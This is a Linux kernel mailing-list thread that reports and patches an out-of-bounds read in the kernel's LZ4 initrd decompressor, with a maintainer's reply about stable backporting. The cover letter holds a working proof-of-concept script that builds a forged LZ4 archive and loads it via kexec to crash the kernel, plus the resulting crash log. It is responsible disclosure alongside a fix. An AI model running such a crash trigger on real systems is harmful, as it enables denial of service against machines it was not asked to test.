* [PATCH 0/1] lib: validate in-memory LZ4 chunk length
@ 2026-09-12 13:32 Zhiling Zou
2026-09-12 13:32 ` [PATCH 1/1] " Zhiling Zou
2026-09-15 4:45 ` [PATCH 0/1] " Andrew Morton
0 siblings, 2 replies; 3+ messages in thread
From: Zhiling Zou @ 2026-09-12 13:32 UTC (permalink / raw)
To: linux-kernel; +Cc: akpm, kyungsik.lee, vega, zhilinz
Hi Linux kernel maintainers,
We found and validated an issue in lib/decompress_unlz4.c. The bug is
reachable by a root user through kexec_file_load() with a crafted
external initrd.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
When fill is NULL, unlz4() reads a 32-bit chunk length, advances the
input pointer, and subtracts four bytes from the remaining input size.
It then passes the unvalidated chunk length to LZ4_decompress_safe().
A forged length larger than the remaining archive makes the decoder
read past the mapped initrd while parsing the compressed block.
The in-memory path is used while unpacking an external initrd during
boot. The PoC creates a valid LZ4 legacy archive header followed by a
forged chunk length and a small payload, loads it with kexec_file_load(),
and executes the second kernel. The async initramfs unpack then crashes
in LZ4_decompress_safe().
Reproducer:
chmod +x poc.sh
./poc.sh /root/bzImage
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.sh------
#!/bin/sh
set -eu
if [ "$(id -u)" -ne 0 ]; then
echo "run as root" >&2
exit 1
fi
KERNEL_IMAGE="${1:-/root/bzImage}"
BAD_INITRD="${2:-/root/bad_unlz4.lz4}"
if [ ! -r "$KERNEL_IMAGE" ]; then
echo "kernel image not found: $KERNEL_IMAGE" >&2
exit 1
fi
python3 - "$BAD_INITRD" <<'PY'
import struct
import sys
path = sys.argv[1]
magic = 0x184C2102
chunk = 0x07FFF000
payload = b"\xF0" + (b"\xFF" * 4096)
with open(path, "wb") as f:
f.write(struct.pack("<I", magic))
f.write(struct.pack("<I", chunk))
f.write(payload)
PY
CMDLINE='root=/dev/sda rw console=ttyS0 net.ifnames=0 biosdevname=0 panic_on_warn=1 oops=panic panic=-1 slub_debug=FZPU nokaslr slab_nomerge numa=off page_poison=1 init_on_alloc=0 init_on_free=0 quiet loglevel=7 systemd.show_status=false'
/usr/sbin/kexec -u >/dev/null 2>&1 || true
/usr/sbin/kexec -s -l "$KERNEL_IMAGE" --initrd="$BAD_INITRD" --command-line="$CMDLINE"
sync
/usr/sbin/kexec -e
------END poc.sh--------
----BEGIN crash log----
[ 4.234226][ T46] Trying to unpack rootfs image as initramfs...
[ 4.252106][ T46] BUG: unable to handle page fault for address: ffffed1028000000
[ 4.252496][ T46] #PF: supervisor read access in kernel mode
[ 4.252496][ T46] #PF: error_code(0x0000) - not-present page
[ 4.252496][ T46] PGD 13ffec067 P4D 13ffec067 PUD 13ffeb067 PMD 0
[ 4.252496][ T46] Oops: Oops: 0000 [#1] SMP KASAN NOPTI
[ 4.252496][ T46] CPU: 2 UID: 0 PID: 46 Comm: kworker/u16:1 Not tainted 6.12.95 #4 53deed68f5e8c87eac9412ec2ca16e6c37d9fe62
[ 4.252496][ T46] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 4.252496][ T46] Workqueue: async async_run_entry_fn
[ 4.252496][ T46] RIP: 0010:LZ4_decompress_safe+0x4a5/0x14c0
[ 4.252496][ T46] Code: 00 fc ff df 48 89 d8 48 89 df 48 c1 e8 03 83 e7 07 0f b6 34 28 48 8d 43 07 48 89 c2 48 c1 ea 03 40 38 fe 40 0f 9e c7 40 84 f6 <0f> b6 14 2a 40 0f 95 c6 40 84 f7 0f 85 64 0a 00 00 83 e0 07 38 c2
[ 4.252496][ T46] RSP: 0018:ffffc900003279e0 EFLAGS: 00010246
[ 4.252496][ T46] RAX: ffff888140000001 RBX: ffff88813ffffffa RCX: ffff8881400f7019
[ 4.252496][ T46] RDX: 1ffff11028000000 RSI: 0000000000000000 RDI: 0000000000000001
[ 4.252496][ T46] RBP: dffffc0000000000 R08: ffffc90001401000 R09: 0000000000000000
[ 4.252496][ T46] R10: 00000000000000f0 R11: ffff888147ff6008 R12: ffffc9000150000f
[ 4.252496][ T46] R13: ffffc90001c01000 R14: ffff888147ff6008 R15: ffffc90001408ff0
[ 4.252496][ T46] FS: 0000000000000000(0000) GS:ffff88810f400000(0000) knlGS:0000000000000000
[ 4.252496][ T46] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 4.252496][ T46] CR2: ffffed1028000000 CR3: 000000013b534001 CR4: 0000000000770ef0
[ 4.252496][ T46] PKRU: 55555554
[ 4.252496][ T46] Call Trace:
[ 4.252496][ T46] <TASK>
[ 4.252496][ T46] ? unlz4+0x382/0x660
[ 4.252496][ T46] ? srso_alias_return_thunk+0x5/0xfbef5
[ 4.252496][ T46] ? vmalloc_noprof+0xb4/0x100
[ 4.252496][ T46] unlz4+0x23d/0x660
[ 4.252496][ T46] ? __pfx_flush_buffer+0x10/0x10
[ 4.252496][ T46] ? srso_alias_return_thunk+0x5/0xfbef5
[ 4.252496][ T46] unpack_to_rootfs+0x23c/0x730
[ 4.252496][ T46] ? __pfx_error+0x10/0x10
[ 4.252496][ T46] ? __pfx_unpack_to_rootfs+0x10/0x10
[ 4.252496][ T46] ? srso_alias_return_thunk+0x5/0xfbef5
[ 4.252496][ T46] ? __pfx__printk+0x10/0x10
[ 4.252496][ T46] ? srso_alias_return_thunk+0x5/0xfbef5
[ 4.252496][ T46] ? lock_release+0x687/0xc90
[ 4.252496][ T46] ? __pfx_do_populate_rootfs+0x10/0x10
[ 4.252496][ T46] ? do_populate_rootfs+0x34b/0x6c0
[ 4.252496][ T46] ? srso_alias_return_thunk+0x5/0xfbef5
[ 4.252496][ T46] do_populate_rootfs+0x34b/0x6c0
[ 4.252496][ T46] ? ktime_get+0x32/0x150
[ 4.252496][ T46] ? __pfx_do_populate_rootfs+0x10/0x10
[ 4.252496][ T46] ? srso_alias_return_thunk+0x5/0xfbef5
[ 4.252496][ T46] ? trace_hardirqs_on+0x5b/0x110
[ 4.252496][ T46] ? srso_alias_return_thunk+0x5/0xfbef5
[ 4.252496][ T46] ? srso_alias_return_thunk+0x5/0xfbef5
[ 4.252496][ T46] ? srso_alias_return_thunk+0x5/0xfbef5
[ 4.252496][ T46] ? __pfx_do_populate_rootfs+0x10/0x10
[ 4.252496][ T46] async_run_entry_fn+0x9f/0x510
[ 4.252496][ T46] process_one_work+0x80f/0x1680
[ 4.252496][ T46] ? worker_thread+0x275/0x1140
[ 4.252496][ T46] ? __pfx_process_one_work+0x10/0x10
[ 4.252496][ T46] ? lock_acquired+0x374/0xb30
[ 4.252496][ T46] ? lock_is_held_type+0x9a/0x110
[ 4.252496][ T46] ? srso_alias_return_thunk+0x5/0xfbef5
[ 4.252496][ T46] worker_thread+0x618/0x1140
[ 4.252496][ T46] ? __pfx_worker_thread+0x10/0x10
[ 4.252496][ T46] kthread+0x2bd/0x3a0
[ 4.252496][ T46] ? __pfx_kthread+0x10/0x10
[ 4.252496][ T46] ? __pfx_kthread+0x10/0x10
[ 4.252496][ T46] ret_from_fork+0x31/0x70
[ 4.252496][ T46] ? __pfx_kthread+0x10/0x10
[ 4.252496][ T46] ret_from_fork_asm+0x1a/0x30
[ 4.252496][ T46] </TASK>
[ 4.252496][ T46] Modules linked in:
[ 4.252496][ T46] CR2: ffffed1028000000
[ 4.252496][ T46] ---[ end trace 0000000000000000 ]---
[ 4.252496][ T46] RIP: 0010:LZ4_decompress_safe+0x4a5/0x14c0
[ 4.252496][ T46] Code: 00 fc ff df 48 89 d8 48 89 df 48 c1 e8 03 83 e7 07 0f b6 34 28 48 8d 43 07 48 89 c2 48 c1 ea 03 40 38 fe 40 0f 9e c7 40 84 f6 <0f> b6 14 2a 40 0f 95 c6 40 84 f7 0f 85 64 0a 00 00 83 e0 07 38 c2
[ 4.252496][ T46] RSP: 0018:ffffc900003279e0 EFLAGS: 00010246
[ 4.252496][ T46] RAX: ffff888140000001 RBX: ffff88813ffffffa RCX: ffff8881400f7019
[ 4.252496][ T46] RDX: 1ffff11028000000 RSI: 0000000000000000 RDI: 0000000000000001
[ 4.252496][ T46] RBP: dffffc0000000000 R08: ffffc90001401000 R09: 0000000000000000
[ 4.252496][ T46] R10: 00000000000000f0 R11: ffff888147ff6008 R12: ffffc9000150000f
[ 4.252496][ T46] R13: ffffc90001c01000 R14: ffff888147ff6008 R15: ffffc90001408ff0
[ 4.252496][ T46] FS: 0000000000000000(0000) GS:ffff88810f400000(0000) knlGS:0000000000000000
[ 4.252496][ T46] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 4.252496][ T46] CR2: ffffed1028000000 CR3: 000000013b534001 CR4: 0000000000770ef0
[ 4.252496][ T46] PKRU: 55555554
[ 4.252496][ T46] Kernel panic - not syncing: Fatal exception
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
lib: validate in-memory LZ4 chunk length
lib/decompress_unlz4.c | 4 ++++
1 file changed, 4 insertions(+)
--
2.43.0
^ permalink raw reply [flat|nested] 3+ messages in thread* [PATCH 1/1] lib: validate in-memory LZ4 chunk length
2026-09-12 13:32 [PATCH 0/1] lib: validate in-memory LZ4 chunk length Zhiling Zou
@ 2026-09-12 13:32 ` Zhiling Zou
2026-09-15 4:45 ` [PATCH 0/1] " Andrew Morton
1 sibling, 0 replies; 3+ messages in thread
From: Zhiling Zou @ 2026-09-12 13:32 UTC (permalink / raw)
To: linux-kernel; +Cc: akpm, kyungsik.lee, vega, zhilinz
unlz4() reads the compressed chunk length from an in-memory initrd and
passes it to LZ4_decompress_safe(). It only checks the chunk length
against the allocation size when the input is filled by a callback.
Reject an in-memory chunk that extends past the remaining input before
calling the LZ4 decoder. This prevents malformed initrds from making
the decoder read past the mapped archive.
Fixes: e76e1fdfa8f8 ("lib: add support for LZ4-compressed kernel")
Cc: stable@vger.kernel.org
Reported-by: VEGA <vega@nebusec.ai>
Assisted-by: LLM
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
---
lib/decompress_unlz4.c | 4 ++++
1 file changed, 4 insertions(+)
diff --git a/lib/decompress_unlz4.c b/lib/decompress_unlz4.c
index c0dbb3cea915e..86e9aaec04f6d 100644
--- a/lib/decompress_unlz4.c
+++ b/lib/decompress_unlz4.c
@@ -139,6 +139,10 @@ STATIC inline int INIT unlz4(u8 *input, long in_len,
if (!fill) {
inp += 4;
size -= 4;
+ if (chunksize > size) {
+ error("data corrupted");
+ goto exit_2;
+ }
} else {
if (chunksize > LZ4_compressBound(uncomp_chunksize)) {
error("chunk length is longer than allocated");
--
2.43.0
^ permalink raw reply [flat|nested] 3+ messages in thread* Re: [PATCH 0/1] lib: validate in-memory LZ4 chunk length
2026-09-12 13:32 [PATCH 0/1] lib: validate in-memory LZ4 chunk length Zhiling Zou
2026-09-12 13:32 ` [PATCH 1/1] " Zhiling Zou
@ 2026-09-15 4:45 ` Andrew Morton
1 sibling, 0 replies; 3+ messages in thread
From: Andrew Morton @ 2026-09-15 4:45 UTC (permalink / raw)
To: Zhiling Zou; +Cc: linux-kernel, kyungsik.lee, vega
On Sat, 12 Sep 2026 21:32:16 +0800 Zhiling Zou <zhilinz@nebusec.ai> wrote:
> Hi Linux kernel maintainers,
>
> We found and validated an issue in lib/decompress_unlz4.c.
Thanks.
> The bug is
> reachable by a root user through kexec_file_load() with a crafted
> external initrd.
>
> We've tested it, and it should not affect any other functionality.
OK. I don't feel that a cc:stable backport is justified for this. If
there was (or even might be) a non-root callsite then yes, backport it.
Do you agree that these:
hp2:/usr/src/linux-7.3-rc1> grep -rl unlz4 .
./lib/decompress_unlz4.c
./lib/Makefile
./lib/decompress.c
./scripts/sbom/tests/cmd_graph/test_savedcmd_parser.py
./include/linux/decompress/unlz4.h
./arch/parisc/boot/compressed/misc.c
./arch/mips/boot/compressed/decompress.c
./arch/s390/boot/decompressor.c
./arch/x86/boot/compressed/misc.c
./arch/arm/boot/compressed/decompress.c
hp2:/usr/src/linux-7.3-rc1>
are the only callers?
^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-09-15 4:45 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2026-09-12 13:32 [PATCH 0/1] lib: validate in-memory LZ4 chunk length Zhiling Zou
2026-09-12 13:32 ` [PATCH 1/1] " Zhiling Zou
2026-09-15 4:45 ` [PATCH 0/1] " Andrew Morton
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox
all inboxes | Powered by JetHome®